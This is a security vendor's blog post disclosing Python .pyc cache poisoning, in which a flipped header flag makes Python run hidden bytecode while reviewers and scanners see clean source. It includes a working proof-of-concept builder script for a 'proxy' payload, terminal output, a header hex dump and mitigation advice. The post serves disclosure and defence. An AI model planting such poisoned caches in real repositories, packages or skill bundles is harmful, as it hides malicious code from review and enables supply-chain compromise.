ActiveFence is now Alice
x
Back
Blog

Poisoned Python Bytes & Malicious Caches

Ruslan Kuznetsov
-
Jul 6, 2026

TL;DR

A little-known Python feature can disguise malicious code as completely innocuous. With just a 4-byte change to a module's .pyc cache, malicious bytecode runs while hiding behind the source that scanners inspect but Python never actually executes. The poisoned cache is undetectable by every antivirus on VirusTotal, and runs without throwing errors. Here are the ways to stay safe.

Background

Python is an interpreted language. Before your computer can run a .py file, the human-readable source is translated into bytecode, a lower-level instruction format designed for speed. To avoid recompiling every time the code runs, the compiled bytecode is stored in .pyc files inside a __pycache__/ folder next to the source, one .pyc per imported module. If no changes have been made since the last compilation, Python runs the cached bytecode directly and skips the source entirely.

Python decides whether the cache is still valid by checking a small header of the .pyc file. The header doesn't store the source code itself, it stores a fingerprint of the source at the moment the cache was created. On every import, Python compares that fingerprint to the current source and decides whether to trust the cache or rebuild it. Our researchers have discovered that a small 4-byte edit to the header will disable Python's ability to detect discrepancies between the source and bytecode, allowing malicious code to execute from your unscanned cache.

Invalidation modes

Python's .pyc header contains a field that tells the interpreter how to decide whether the cache is still valid. There are three possible values, and each has very different security properties. Python 3.7 introduced the two hash-based modes to support reproducible deployment builds. The goal was legitimate, but the third mode unintentionally created a vulnerability that hasn't been addressed.

  • Timestamp mode (the default). The header stores the source file's last-modified time and size at compile time, and on every import Python checks whether either value has changed. Any action that rewrites timestamps like git clone invalidates the cache and recompiles the code.
  • Checked hash mode. Python re-hashes the file on every import and compares. Timestamps are irrelevant, only content matters, so the cache survives git clone but dies the moment anyone edits the source, even to add a comment.
  • Unchecked hash mode (the most dangerous). It uses the same hash-based header, but flips one bit in the flag field to tell Python not to bother checking. The hash is still there, Python just never reads it. The cache is trusted unconditionally, until something deletes it.
Changing the .pyc invalidation flag
Before:  2b 0e 0d 0a  00 00 00 00  72 9a 45 9e  00 00 00 12
After:   2b 0e 0d 0a  01 00 00 00  72 9a 45 9e  00 00 00 12
                      ^^^^^^^^^^^
                      4 bytes changed

The stdlib exposes this through py_compile.compile(..., invalidation_mode=PycInvalidationMode.UNCHECKED_HASH), but that path leaves traces in build logs. Our researchers skipped the API entirely and patched the flag byte directly in an existing .pyc header.

Threat model

This technique matters not because the mechanism is exotic, but because it inverts a core assumption of every Python security process in use today.

Review bypass: Human code review, automated PR diffing, git blame, and most static analyzers all inspect the .py. The interpreter executes the .pyc. A poisoned cache makes the two diverge silently, and source review starts lying to you.

Supply chain: .pyc files routinely ride along in committed git repositories, PyPI wheels and sdists, Docker layers, ML model artifacts, CI/CD build outputs, and AI agent skill bundles, which are a particularly soft target since skills are small, trusted by default, and rarely audited with the same rigor as a PyPI package. A compromised build step that emits a poisoned .pyc alongside a legitimate .py is effectively invisible to downstream consumers who audit the source.

Static scanners don't see it: Marshalled bytecode doesn't look like code to signature-based tooling, no plaintext strings to match, no AST to parse, no familiar entropy profile. Our researchers uploaded two independent poisoned .pyc samples to VirusTotal and every one of the 70 antivirus engines missed them:

  • 10f63c3e2ada149083488f4df74aead7df40079908c719c547d9baecaf10b71d
  • fcc7f0fc3cd5e9d618befe697f5cd1caa42fa92f84dc606ed12b5c8a0d8e9b71
VirusTotal reports 0/70 detections on the same .pyc

Silent Proxy: An unchecked-hash .pyc already ignores the source. But if the source and bytecode don't match, calling a function the source defines but the bytecode doesn't will raise an AttributeError. The victim will notice, but only after the malicious code has already executed. A proxy .pyc solves this by doing two things at import time:

  1. Execute the malicious payload.
  2. Read and execute the original .py source in the current module's namespace, so every function, class, and variable the reviewer sees in the source becomes a real attribute of the imported module.

The module behaves exactly as its source says, while attacker code has already run.

Mode Survives git clone Survives source edit Functionality matches source
Timestamp No No
Checked hash Yes No
Unchecked hash Yes Yes No
Unchecked + proxy Yes Yes Yes

Proof of Concept 

Below is the proof-of-concept builder. It takes an innocent target .py, compiles it, and rewrites the resulting .pyc header to unchecked-hash mode.

build_poisoned_pyc.py
#!/usr/bin/env python3
"""Pyc Poisoning Builder - flips .pyc header to UNCHECKED_HASH (flags=1)."""

import sys, struct, py_compile
from pathlib import Path

DEFAULT_PYTHON_VERSION = f"cpython-{sys.version_info.major}{sys.version_info.minor}"

def set_pyc_flags(pyc_path, flags=1):
    """Rewrite the 4-byte flags field at offset 0x04."""
    with open(pyc_path, "r+b") as f:
        f.seek(4)
        f.write(struct.pack("<I", flags))
        if flags == 1:
            # Overwrite the hash field so it's visually obvious in hex dumps.
            f.seek(8)
            f.write(b"XXXXXXXX")

def create_proxy_payload(target_name):
    """Payload that prints PWNED, then transparently runs the real source."""
    return (
        '# -*- coding: utf-8 -*-\n'
        'print("PWNED")\n'
        'with open(__file__, "r", encoding="utf-8") as _src:\n'
        '    exec(compile(_src.read(), __file__, "exec"), globals())\n'
    )

def build(target_path, output_dir):
    output_path = Path(output_dir)
    pycache_dir = output_path / "__pycache__"
    pycache_dir.mkdir(parents=True, exist_ok=True)

    # 1. Write the innocent-looking source that humans will review.
    innocent_source = output_path / target_path
    innocent_source.write_text('def greet(name):\n    return f"Hello, {name}"\n')

    # 2. Write the proxy payload to a temp file and compile it.
    payload_src = pycache_dir / "_payload.py"
    payload_src.write_text(create_proxy_payload(Path(target_path).stem))

    target_name = Path(target_path).stem
    pyc_file = pycache_dir / f"{target_name}.{DEFAULT_PYTHON_VERSION}.pyc"
    py_compile.compile(str(payload_src), str(pyc_file), doraise=True)
    payload_src.unlink()

    # 3. Flip flags to UNCHECKED_HASH.
    set_pyc_flags(pyc_file, flags=1)
    print(f"[+] Poisoned cache: {pyc_file}")
    print(f"[+] Innocent source: {innocent_source}")
    return pyc_file

if __name__ == "__main__":
    build("helper.py", "output")
Terminal output
$ python3 build_poisoned_pyc.py
[+] Poisoned cache: output/__pycache__/helper.cpython-314.pyc
[+] Innocent source: output/helper.py

$ cat output/helper.py
def greet(name):
    return f"Hello, {name}"

$ cd output && python3 -c "import helper; print(helper.greet('world'))"
PWNED
Hello, world

The reviewer sees a two-line helper. The runtime printed PWNED first, then returned the exact result the source promises. Both things happened. Only one is visible.

Inspecting the header:

Inspecting the .pyc header
$ xxd -l 16 output/__pycache__/helper.cpython-314.pyc
00000000: cb0d 0d0a 0100 0000 5858 5858 5858 5858
          |---------| |---------| |-----------------|
           magic       flags=1    hash (overwritten)

Flags = 01 00 00 00 → unchecked hash. The hash field is meaningless but unread. Python loads the cache and runs the bytecode.

Staying safe

Treat .pyc files as executable code, not as disposable build artifacts, and don't let them travel with your source.

  • Never commit __pycache__/ or .pyc files to git. Keep them in your top-level .gitignore.
  • Distrust bytecode in unpacked wheels, tarballs, and skill bundles. If you're auditing a dependency, audit or strip its caches too.
  • Disable cache writes in security-sensitive contexts. Run Python with PYTHONDONTWRITEBYTECODE=1 and -B to stop caches from being written at all.
  • Force hash validation at runtime. Set --check-hash-based-pycs=always to make the interpreter validate every hash-based .pyc regardless of what its header claims.
  • For AI agent and skill platforms, refuse bundles that contain __pycache__/. Compile skills at deploy time from source only.
  • Quick integrity check: any .pyc file with byte 0x04 set to 0x01 is in unchecked-hash mode and should be treated as hostile until proven otherwise.

Treat every runtime artifact as executable.

Assess your AI supply chain
Share

What’s New from Alice

Poisoned Python Bytes & Malicious Caches

blog
Jul 6, 2026
,
 
Jul 6, 2026
 -
7
 min read
Jul 6, 2026
 -
7
 min watch
July 6, 2026

Python .pyc caches can execute malicious bytecode while clean source code passes review. Learn how poisoned caches bypass scanners, exploit supply-chain trust, and what teams can do to stay safe.

Learn More

Demystifying AI Red Teaming

whitepaper
Jun 25, 2026
,
 
Jun 25, 2026
 -
This is some text inside of a div block.
 min read
Jun 25, 2026
 -
This is some text inside of a div block.
 min watch
June 25, 2026

Your AI passed every check. That doesn't mean it's safe. Learn how to red team AI systems before adversaries find the gaps you missed.

Learn More
Technical Blog